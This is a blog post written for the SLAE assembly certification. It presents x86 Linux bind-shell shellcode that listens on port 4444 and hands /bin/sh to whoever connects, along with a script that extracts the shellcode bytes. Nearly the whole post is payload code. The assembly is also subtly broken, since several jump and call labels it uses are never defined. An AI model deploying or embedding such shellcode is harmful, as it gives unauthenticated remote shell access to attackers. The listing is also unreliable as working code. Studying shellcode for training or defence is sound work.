martes, 29 de abril de 2014

[SLAE] I Bind shell

Source: SecurityTube

Ok, when I saw examen exercises I still a bit confused from where to start to do this, but after a bit of research. I get it. Bind shell is like tiny TCP Server, look to the next image:

Source: TutorialPoint

We need configure socket for this  Bind ->Listen -> Accept and then pass STDIN/STDOUT/STDERR to EXECVE

echo '[+] Assembling with Nasm ... '
nasm -f elf32 -o $1.o $1.nasm

echo '[+] Linking ...'
ld -o $1 $1.o

echo '[+] Your Shellcode:'
echo $(objdump -d ./$1|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g')

echo '[+] Done!'
;coded by SLAE - 513 - Andriy Brukhovetskyy
;Bind port 4444 - last 2 bytes
;syscall numbers can be found here /usr/include/asm/unistd_32.h
;socketcall man -
;socket families definitions can be locked here: /usr/src//include/linux/socket
;or we can use python socket modude - example socket.AF_INET
;Values needed to configure socket can be found here:
;109 bytes long 

global _start
section .text

    ;int socket (int family, int type, int protocol);
    xor eax, eax
    mov al, 102     ; socketcall
    xor ebx, ebx
    mov bl, 1      ; 1 = SYS_SOCKET socket()
    push BYTE 6    ; IPPROTO_TCP - int protocol
    push BYTE 1    ; SOCK_STREAM - int type
    push BYTE 2    ; AF_INET     - int domain
    mov ecx, esp   ; ECX - PTR to arguments for socket()
    int 0x80
    mov esi, eax    ; save socket fd in ESI for later

    jmp short jmp_call_pop
    pop edi        ; getting port address from ESP, putted by call in jmp_call_pop

    ;int bind(int sockfd, struct sockaddr *my_addr,int addrlen);
    push BYTE 102
    pop eax        ; socketcall
    inc ebx        ; 2 = SYS_BIND bind()
    xor edx, edx
    push edx        ; 0 = ANY HOST (};
    push WORD [edi] ; PORT specified at the end. Last two bytes in HEX.
    push WORD bx    ; 2 = AF_INET - struct sockaddr short sin_family,
    mov ecx, esp    ; Save PTR to sockaddr struct in ECX
    push BYTE 16    ; socklen_t addrlen
    push ecx        ; const struct sockaddr *addr
    push esi        ; int sockfd
    mov ecx, esp    ; ECX = PTR to arguments for bind()
    int 0x80
        ;int listen(int sockfd,int backlog);
    mov BYTE al, 102; socketcall
    inc ebx
    inc ebx        ; 4 = SYS_LISTEN listen()
    push BYTE 1    ; int backlog
    push esi       ; int sockfd,
    mov ecx, esp   ; ECX = PTR to arguments for listen()
    int 0x80

        ;int accept (int sockfd, struct sockaddr *cliaddr, socklen_t *addrlen);
    mov BYTE al, 102; socketcall
    inc ebx     ; 5 = SYS_ACCEPT = accept()
    push edx    ; socklen_t *addrlen = 0
    push edx    ; struct sockaddr *cliaddr = NULL
    push esi    ; int sockfd,
    mov ecx, esp; ECX = PTR to arguments for accept()
    int 0x80

    ; dup2 to duplicate sockfd, that will attach the client to a shell and redirrect STDIN, STDOUT, STRERRR
    ; that we'll spawn below in execve syscall
    xchg eax, ebx    ; after EBX = sockfd, EAX = 5
    push BYTE 3
    pop ecx

        dec ecx
    mov BYTE al, 63
    int 0x80
    jnz dup2_loop ; jump if not 0

    ; spawning as shell
    xor eax, eax
    push eax
    ; '/bin//sh'[::-1] <- reverse mode
        push 0x68732f2f ; hs//
        push 0x6e69622f ; nib/
    mov ebx, esp
    push eax
    mov edx, esp    ; ESP is now pointing to DX
    push ebx
    mov ecx, esp
    mov al, 11    ; execve syscall
    int 0x80

    call body
    db 0x11, 0x5c    ; port 4444 you can put any 0 free port


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

SecurityTube Linux Assembly Expert

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